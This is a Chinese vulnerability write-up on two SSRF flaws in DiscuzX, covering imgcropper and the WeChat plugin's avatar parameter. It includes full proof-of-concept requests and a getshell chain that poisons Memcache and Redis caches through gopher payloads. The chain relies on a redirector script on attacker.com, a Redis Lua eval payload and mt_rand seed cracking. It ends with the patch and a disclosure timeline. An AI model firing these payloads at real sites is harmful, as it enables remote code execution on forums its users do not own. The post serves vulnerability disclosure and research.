DiscuzX 两处 SSRF 挖掘及利用

DiscuzX 两处 SSRF 挖掘及利用

概述

我在调试分析 DiscuzX (以下简称 Dz)历史漏洞的时候,发现 Dz 的 SSRF 漏洞其实都是由一个叫dfsockopen的函数导致的,并且官方修补方式都是指哪补哪。于是简单过了一遍所有调用dfsockopen的地方,最终又找到两处 SSRF。本文将对这两处 SSRF 漏洞成因以及利用方式做简要探讨。


关键函数 dfsockopen

本次漏洞的关键函数dfsockopen

function dfsockopen($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE, $encodetype  = 'URLENCODE', $allowcurl = TRUE, $position = 0, $files = array()) {
    require_once libfile('function/filesock');
    return _dfsockopen($url, $limit, $post, $cookie, $bysocket, $ip, $timeout, $block, $encodetype, $allowcurl, $position, $files);
}

可以看到,dfsockopen 具体逻辑都是由 _dfsockopen 实现的。而 _dfsockopen 函数代码的大致流程是:对传入的 url 参数首先调用 parse_url 函数进行解析,然后检测 PHP 环境是否安装了 curl 扩展,如果是,那么接下来会用 curl 对传入的 url 参数发起请求;否则,则用 fsockopen 对解析出来的 host, port 建立 socket 连接,手动构造发送 HTTP 请求数据包。

_dfsockopen 函数代码比较长,这里只贴出其中调用 curl 进行处理的部分:

    if(function_exists('curl_init') && function_exists('curl_exec') && $allowcurl) {
        $ch = curl_init();
        $httpheader = array();
        if($ip) {
            $httpheader[] = "Host: ".$host;
        }
        if($httpheader) {
            curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader);
        }
        curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).($port ? ':'.$port : '').$path);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_HEADER, 1);
        if($post) {
            curl_setopt($ch, CURLOPT_POST, 1);
            if($encodetype == 'URLENCODE') {
                curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
            } else {
                foreach($post as $k => $v) {
                    if(isset($files[$k])) {
                        $post[$k] = '@'.$files[$k];
                    }
                }
                foreach($files as $k => $file) {
                    if(!isset($post[$k]) && file_exists($file)) {
                        $post[$k] = '@'.$file;
                    }
                }
                curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
            }
        }
        if($cookie) {
            curl_setopt($ch, CURLOPT_COOKIE, $cookie);
        }
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
        $data = curl_exec($ch);
        $status = curl_getinfo($ch);
        $errno = curl_errno($ch);
        curl_close($ch);
        if($errno || $status['http_code'] != 200) {
            return;
        } else {
            $GLOBALS['filesockheader'] = substr($data, 0, $status['header_size']);
            $data = substr($data, $status['header_size']);
            return !$limit ? $data : substr($data, 0, $limit);
        }
    }

可以发现,dfsockopen没有检查一个请求的地址是否是内网地址。除此之外,它会优先使用 curl 来构造发送请求,curl 是个很强大的网络请求程序,它默认支持的协议很多,其中包括“万能”的协议 gopher:

gopher 可以构造发送任意内容的数据包:

另外注意一点,这里代码中的 curl 选项配置跟随跳转:

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

众所周知,跟随跳转在 SSRF 中可以 bypass 请求协议限制(虽然这里并没有)。除此之外,由于 Dz 中_xss_check函数会检查 url 中的特殊字符,如果检查到某些特殊字符就会进行拦截,因此还可以利用跟随跳转来绕过 url 中不能出现特殊字符的限制:

    private function _xss_check() {

        static $check = array('"', '>', '<', '\'', '(', ')', 'CONTENT-TRANSFER-ENCODING');

        if(isset($_GET['formhash']) && $_GET['formhash'] !== formhash()) {
            system_error('request_tainting');
        }

        if($_SERVER['REQUEST_METHOD'] == 'GET' ) {
            $temp = $_SERVER['REQUEST_URI'];
        } elseif(empty ($_GET['formhash'])) {
            $temp = $_SERVER['REQUEST_URI'].file_get_contents('php://input');
        } else {
            $temp = '';
        }

        if(!empty($temp)) {
            $temp = strtoupper(urldecode(urldecode($temp)));
            foreach ($check as $str) {
                if(strpos($temp, $str) !== false) {
                    system_error('request_tainting');
                }
            }
        }

        return true;
    }

寻找漏洞

所以如果想再找一个 SSRF 的思路就有了,直接找哪些地方调用了 dfsockopen 并且 url 参数可控的即可。去年 10 月份的时候更新了两个关于 SSRF 的补丁:

可以看到官方的修补办法都是简单粗暴,直接关闭对应的功能或者把功能仅限于对管理员开放。所以除了上面的两个已经被修补外,我粗略找了下,又发现了两个。


imgcropper SSRF

source/class/class_image.php imageinit方法:

    function init($method, $source, $target, $nosuffix = 0) {
        global $_G;

        $this->errorcode = 0;
        if(empty($source)) {
            return -2;
        }
        $parse = parse_url($source);
        if(isset($parse['host'])) {
            if(empty($target)) {
                return -2;
            }
            $data = dfsockopen($source);
            $this->tmpfile = $source = tempnam($_G['setting']['attachdir'].'./temp/', 'tmpimg_');
            if(!$data || $source === FALSE) {
                return -2;
            }
            file_put_contents($source, $data);
        }
        ......
  }

再找哪些地方调用了image类的init方法,发现image类的ThumbCropperWatermark方法都调用了init。比如Thumb

    function Thumb($source, $target, $thumbwidth, $thumbheight, $thumbtype = 1, $nosuffix = 0) {
        $return = $this->init('thumb', $source, $target, $nosuffix);
        ......
    }

所以再找哪些地方调用了image类的Thumb方法,最终发现:

source/module/misc/misc_imgcropper.php 52-57行:

    require_once libfile('class/image');
    $image = new image();
    $prefix = $_GET['picflag'] == 2 ? $_G['setting']['ftp']['attachurl'] : $_G['setting']['attachurl'];
    if(!$image->Thumb($prefix.$_GET['cutimg'], $cropfile, $picwidth, $picheight)) {
        showmessage('imagepreview_errorcode_'.$image->errorcode, null, null, array('showdialog' => true, 'closetime' => true));
    }

下断点调试发现 $_G['setting']['ftp']['attachurl'] 的值为 /,而 $_G['setting']['attachurl'] 的值是 data/attachment/。所以似乎 $prefix/ 才有 SSRF 利用的可能。

一开始构造 cutimg=/10.0.1.1/get,这样 $url 的值就为 //10.0.1.1/get,按道理来说这应该算是一个正常的 url,但是结果却请求失败了。

仔细跟进 _dfsockopen 发现,在 PHP 环境安装有 cURL 时,进入 curl 处理的代码分支,直到这里:

curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).($port ? ':'.$port : '').$path);

$scheme$host$port$path 都是 parse_url 解析 url 参数后的对应的值,而对像 //10.0.1.1/get 这样的 url 解析时,$scheme 的值是 null,因此最后拼接的结果是 ://10.0.1.1/get,没有协议,curl 最后对这种url的请求会自动在前面加上 HTTP://,结果就变成了请求 HTTP://://10.0.1.1/get,这种 url 在我的环境中会导致 curl 报错。

所以我去掉了 curl 扩展,让 _dfsockopen 函数代码走 socket 发包的流程,踩了 parse_url 和 Dz 代码的一些坑点(这里就不展开了,有兴趣的同学调下代码就知道了),最后发现像这样构造可以成功:

cutimg=/:@localhost:9090/dz-imgcropper-ssrf

poc:

POST /misc.php?mod=imgcropper&picflag=2&cutimg=/:@localhost:9090/dz-imgcropper-ssrf HTTP/1.1
Host: ubuntu-trusty.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: xkmD_2132_sid=E5sbVr; xkmD_2132_saltkey=m6Y8022s; xkmD_2132_lastvisit=1521612483; xkmD_2132_lastact=1521624907%09misc.php%09imgcropper; xkmD_2132_home_readfeed=1521616105; xkmD_2132_seccode=1.ecda87c571707d3f92; xkmD_2132_ulastactivity=a0f4A9CWpermv2t0GGOrf8%2BzCf6dZyAoQ3Sto7ORINqJeK4g3xcX; xkmD_2132_auth=40a4BIESn2PZVmGftNQ2%2BD1ImxpYr0HXke37YiChA2ruG6OryhLe0bUg53XKlioysCePIZGEO1jmlB1L4qbo; XG8F_2132_sid=fKyQMr; XG8F_2132_saltkey=U7lxxLwx; XG8F_2132_lastvisit=1521683793; XG8F_2132_lastact=1521699709%09index.php%09; XG8F_2132_ulastactivity=200fir8BflS1t8ODAa3R7YNsZTQ1k262ysLbc9wdHRzbPnMZ%2BOv7; XG8F_2132_auth=3711UP00sKWDx2Vo1DtO17C%2FvDfrelGOrwhtDmwu5vBjiXSHuPaFVJ%2FC%2BQi1mw4v4pJ66jx6otRFKfU03cBy; XG8F_2132_lip=172.16.99.1%2C1521688203; XG8F_2132_nofavfid=1; XG8F_2132_onlineusernum=3; XG8F_2132_sendmail=1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

imgcroppersubmit=1&formhash=f8472648

此时 url 即为//:@localhost:9090/dz-imgcropper-ssrf。SSRF 请求成功:

通过这种方式进行构造利用的话,不太需要额外的限制条件(只要求服务端 PHP 环境没有安装 curl 扩展),但是只能发 HTTP GET 请求,并且服务端不跟随跳转。漏洞危害有限。

后来 l3m0n 师傅也独立发现了这个漏洞,并且他发现较高版本的 curl 是可以成功请求 HTTP://:/ 的,较高版本的 curl 会将这种 url 地址解析到 127.0.0.1 的 80 端口:

最后他再利用之前 PHP parse_url 的解析 bug( bugs.php.net/bug.php? ),及利用 parse_url 和 curl 对 url 的解析差异,成功进行 302 跳转到任意恶意地址,最后再 302 跳转到 gopher 就做到发送任意数据包。详情可以参考 l3m0n 的博客:

Discuz x3.4前台SSRF - l3m0n - 博客园

但是这种利用方式对 PHP、curl 版本都有特殊的要求,而且要服务端环境接受空 Host 的请求。总的来说,imgcropper SSRF 仍然比较鸡肋。


Weixin Plugin SSRF

source/plugin/wechat/wechat.class.php WeChatsyncAvatar方法:

    static public function syncAvatar($uid, $avatar) {

        if(!$uid || !$avatar) {
            return false;
        }

        if(!$content = dfsockopen($avatar)) {
            return false;
        }

        $tmpFile = DISCUZ_ROOT.'./data/avatar/'.TIMESTAMP.random(6);
        file_put_contents($tmpFile, $content);

        if(!is_file($tmpFile)) {
            return false;
        }

        $result = uploadUcAvatar::upload($uid, $tmpFile);
        unlink($tmpFile);

        C::t('common_member')->update($uid, array('avatarstatus'=>'1'));

        return $result;
    }

source/plugin/wechat/wechat.inc.php 中调用了WeChat::syncAvatar,直接用$_GET['avatar']作为参数传进去:

......

elseif(($ac == 'register' && submitcheck('submit') || $ac == 'wxregister') && $_G['wechat']['setting']['wechat_allowregister']) {

        ......

        $uid = WeChat::register($_GET['username'], $ac == 'wxregister');

        if($uid && $_GET['avatar']) {
            WeChat::syncAvatar($uid, $_GET['avatar']);
        }

}

不过因为这里用到了微信登录的插件,所以要利用的话需要目标站开启微信登录:

这里 SSRF 的构造很简单,直接在avatar参数构造 url 即可(只是注意wxopenid参数每次请求都要足够随机保证没有重复,如果重复的话代码是无法走到发起请求的逻辑的):

poc:

http://target/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=http://localhost:9090/dz-weixin-plugin-ssrf&wxopenid=dont_be_evil


Dz SSRF getshell

乌云关闭前 Jannock 给 Dz 交过需要一定条件命令执行的漏洞,当时由于漏洞还未公开乌云就已关闭所以具体的细节我已不得而知。不过我后来从网上各处搜罗查找资料,发现 chengable 写的一篇分析那个漏洞文章:discuz利用ssrf+缓存应用getshell漏洞分析 - CHENGABLE BLOG ,从而知道是用 SSRF 篡改缓存从而 getshell。本着学习的态度,我搭环境调试了这个精彩的漏洞利用方式,并且发现除了 Redis,攻击 Memcache 也是可以的,只不过要多踩一个坑。

先说结论:Dz 由 dfsockopen 函数导致的 SSRF,如果要 getshell,目标站需要满足以下几个条件:

  1. 服务端 PHP 环境安装有 curl 扩展(为了通过 curl 使用 gopher 协议)
  2. 使用 Memcache 或未设置密码认证的 Redis 进行缓存

由于 imgcropper SSRF 利用限制较多,所以这里我用 Weixin Plugin SSRF进行演示。


SSRF 攻击 Memcache

Dz 整合 Memcache 配置成功后,默认情况下网站首页右下角会出现MemCache On的标志:

Dz 在安装的时候,对于缓存中的键名加了随机字符串作为前缀。所以如果 SSRF 要攻击 Memcache ,第一个问题是,如何找到正确的键名?

install/index.php 345-357行:

        $uid = DZUCFULL ? 1 : $adminuser['uid'];
        $authkey = md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp, 0, 8)).random(18);
        $_config['db'][1]['dbhost'] = $dbhost;
        $_config['db'][1]['dbname'] = $dbname;
        $_config['db'][1]['dbpw'] = $dbpw;
        $_config['db'][1]['dbuser'] = $dbuser;
        $_config['db'][1]['tablepre'] = $tablepre;
        $_config['admincp']['founder'] = (string)$uid;
        $_config['security']['authkey'] = $authkey;
        $_config['cookie']['cookiepre'] = random(4).'_';
        $_config['memory']['prefix'] = random(6).'_';

        save_config_file(ROOT_PATH.CONFIG, $_config, $default_config);

这是 Dz 在安装的时候的一段代码,这段代码设置了 authkey、Cookie 前缀以及缓存键名前缀,其中用到了random函数生成随机字符串。所以跟进这个random

function random($length) {
    $hash = '';
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
    $max = strlen($chars) - 1;
    PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

可以发现,如果 PHP 版本大于 4.2.0,那么 mt_rand 随机数的种子是不变的。也就是说,生成 authkey、Cookie 前缀以及缓存键名前缀时调用的 mt_rand 用的都是同一个种子,而 Cookie 前缀是已知的,通过观察 HTTP 请求就可以知道。因此,随机数播种的种子可以被缩到一个极小的范围内进行猜解。这里可以用 php_mt_seed 进行种子爆破。

通过 mt_rand 种子的猜解,缓存键名前缀的可能性从 62^6 缩小到不到 1000 个,这就完全属于可以爆破的范畴了。对猜解出来的所有可能的缓存键名前缀分别构造 SSRF 请求发送到服务器,最后即能更改某一键名对应的键值。

Memcache 缓存键名的问题解决了,接下来的问题是,缓存数据被加载到哪了?如何通过修改缓存数据来 getshell?

这一部分的思路就可以直接参照 chengable 写的那篇文章了,output_replace 函数细节有略微变化,但大体思路是一致的,所以我也不再赘述了。

最后准备用 gopher 协议构造 SSRF 的 payload。写这样一段代码(先假设缓存键名前缀是 IwRW7l):

<?php

$_G['setting']['output']['preg']['search']['plugins'] = '/.*/';
$_G['setting']['output']['preg']['replace']['plugins'] = 'phpinfo()';
$_G['setting']['rewritestatus'] = 1;

$memcache = new Memcache;
$memcache->connect('localhost', 11211) or die ("Could not connect");
$memcache->set('IwRW7l_setting', $_G['setting']);

运行这段 PHP 代码,同时抓包,然后将数据包改成 gopher 的形式,即:

gopher://localhost:11211/_set%20IwRW7l_setting%201%200%20161%0d%0aa%3A2%3A%7Bs%3A6%3A%22output%22%3Ba%3A1%3A%7Bs%3A4%3A%22preg%22%3Ba%3A2%3A%7Bs%3A6%3A%22search%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A4%3A%22%2F.*%2F%22%3B%7Ds%3A7%3A%22replace%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A9%3A%22phpinfo()%22%3B%7D%7D%7Ds%3A13%3A%22rewritestatus%22%3Bi%3A1%3B%7D

但是直接用它去 SSRF 是不可以的,会被_xss_check检测到特殊字符而被拒绝请求:

所以利用这里请求跟随跳转的特点,在自己的远程服务器上放类似于这样的一个脚本:

<?php

$url = base64_decode($_REQUEST['url']);
header( "Location: " . $url );

这样就可以将 SSRF URL 进行 base64 编码从而规避_xss_check的检测。

http://target/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=http%3A%2F%2Fattacker.com%2F302.php%3Furl%3DZ29waGVyOi8vbG9jYWxob3N0OjExMjExL19zZXQlMjBJd1JXN2xfc2V0dGluZyUyMDElMjAwJTIwMTYxJTBkJTBhYSUzQTIlM0ElN0JzJTNBNiUzQSUyMm91dHB1dCUyMiUzQmElM0ExJTNBJTdCcyUzQTQlM0ElMjJwcmVnJTIyJTNCYSUzQTIlM0ElN0JzJTNBNiUzQSUyMnNlYXJjaCUyMiUzQmElM0ExJTNBJTdCcyUzQTclM0ElMjJwbHVnaW5zJTIyJTNCcyUzQTQlM0ElMjIlMkYuKiUyRiUyMiUzQiU3RHMlM0E3JTNBJTIycmVwbGFjZSUyMiUzQmElM0ExJTNBJTdCcyUzQTclM0ElMjJwbHVnaW5zJTIyJTNCcyUzQTklM0ElMjJwaHBpbmZvKCklMjIlM0IlN0QlN0QlN0RzJTNBMTMlM0ElMjJyZXdyaXRlc3RhdHVzJTIyJTNCaSUzQTElM0IlN0Q%253D&wxopenid=xxxyyy

再访问/forum.php?mod=ajax&action=getthreadtypes&inajax=yes,即可看到phpinfo()代码已被执行:

由于缓存被暴力篡改,会导致网站无法正常运行。恢复正常办法是刷新缓存。用上面的思路直接一次 getshell 后执行以下命令,网站就可以恢复正常:

echo -e 'flush_all' | nc localhost 11211

最后我写了个将上述整个过程自动化 getshell 的脚本:


SSRF 攻击 Redis

类似地,Dz 整合 Redis 配置成功后,默认情况下网站首页右下角会出现Redis On的标志:

SSRF 攻击 Redis 步骤实际上就比攻击 Memcache 简单了,因为 Redis 支持 lua 脚本,可以直接用 lua 脚本获取缓存键名而无需再去猜解前缀。当然能成功攻击的前提是 Redis 没有配置密码认证,Discuz requirepass 那一项为空:

Redis 交互命令行执行 lua 脚本:

eval "local t=redis.call('keys','*_setting'); for i,v in ipairs(t) do redis.call('set', v, 'a:2:{s:6:\"output\";a:1:{s:4:\"preg\";a:2:{s:6:\"search\";a:1:{s:7:\"plugins\";s:4:\"/.*/\";}s:7:\"replace\";a:1:{s:7:\"plugins\";s:9:\"phpinfo()\";}}}s:13:\"rewritestatus\";i:1;}') end; return 1;" 0

同样地,对这个过程抓包,将数据包改成 gopher 的形式:

gopher://localhost:6379/_*3%0d%0a%244%0d%0aeval%0d%0a%24264%0d%0alocal%20t%3Dredis.call('keys'%2C'*_setting')%3B%20for%20i%2Cv%20in%20ipairs(t)%20do%20redis.call('set'%2C%20v%2C%20'a%3A2%3A%7Bs%3A6%3A%22output%22%3Ba%3A1%3A%7Bs%3A4%3A%22preg%22%3Ba%3A2%3A%7Bs%3A6%3A%22search%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A4%3A%22%2F.*%2F%22%3B%7Ds%3A7%3A%22replace%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A9%3A%22phpinfo()%22%3B%7D%7D%7Ds%3A13%3A%22rewritestatus%22%3Bi%3A1%3B%7D')%20end%3B%20return%201%3B%0d%0a%241%0d%0a0%0d%0a

SSRF 利用:

http://target/plugin.php?id=wechat:wechat&ac=wxregister&username=vov&avatar=http%3A%2F%2Fattacker.com%2F302.php%3Furl%3DZ29waGVyOi8vbG9jYWxob3N0OjYzNzkvXyozJTBkJTBhJTI0NCUwZCUwYWV2YWwlMGQlMGElMjQyNjQlMGQlMGFsb2NhbCUyMHQlM0RyZWRpcy5jYWxsKCdrZXlzJyUyQycqX3NldHRpbmcnKSUzQiUyMGZvciUyMGklMkN2JTIwaW4lMjBpcGFpcnModCklMjBkbyUyMHJlZGlzLmNhbGwoJ3NldCclMkMlMjB2JTJDJTIwJ2ElM0EyJTNBJTdCcyUzQTYlM0ElMjJvdXRwdXQlMjIlM0JhJTNBMSUzQSU3QnMlM0E0JTNBJTIycHJlZyUyMiUzQmElM0EyJTNBJTdCcyUzQTYlM0ElMjJzZWFyY2glMjIlM0JhJTNBMSUzQSU3QnMlM0E3JTNBJTIycGx1Z2lucyUyMiUzQnMlM0E0JTNBJTIyJTJGLiolMkYlMjIlM0IlN0RzJTNBNyUzQSUyMnJlcGxhY2UlMjIlM0JhJTNBMSUzQSU3QnMlM0E3JTNBJTIycGx1Z2lucyUyMiUzQnMlM0E5JTNBJTIycGhwaW5mbygpJTIyJTNCJTdEJTdEJTdEcyUzQTEzJTNBJTIycmV3cml0ZXN0YXR1cyUyMiUzQmklM0ExJTNCJTdEJyklMjBlbmQlM0IlMjByZXR1cm4lMjAxJTNCJTBkJTBhJTI0MSUwZCUwYTAlMGQlMGE%253D&wxopenid=xxxyyyzzz

代码即再次执行成功。


修复补丁

gitee.com/ComsenzDiscuz

Dz 参照了 WordPress 中的做法,对 url 的请求协议、端口做了白名单检查,并限制了请求 IP 地址不能为除了 localhost 以外的其他内网段地址,更重要的是不再跟随跳转。因此无法再通过 SSRF 利用 gopher 协议攻击 Dz 的缓存服务了。


时间线

  • 2018/03/23:向 TSRC 报告两处 SSRF
  • 2018/03/26:TSRC 确认漏洞存在,并准备进行漏洞修复
  • 2018/04/09 - 2018/08/01:协助 TSRC 进行漏洞修复
  • 2018/11/06:DiscuzX 在 gitee 上提交补丁 commit
  • 2018/12/09:公开漏洞详情
发布于 2018-12-09

文章被以下专栏收录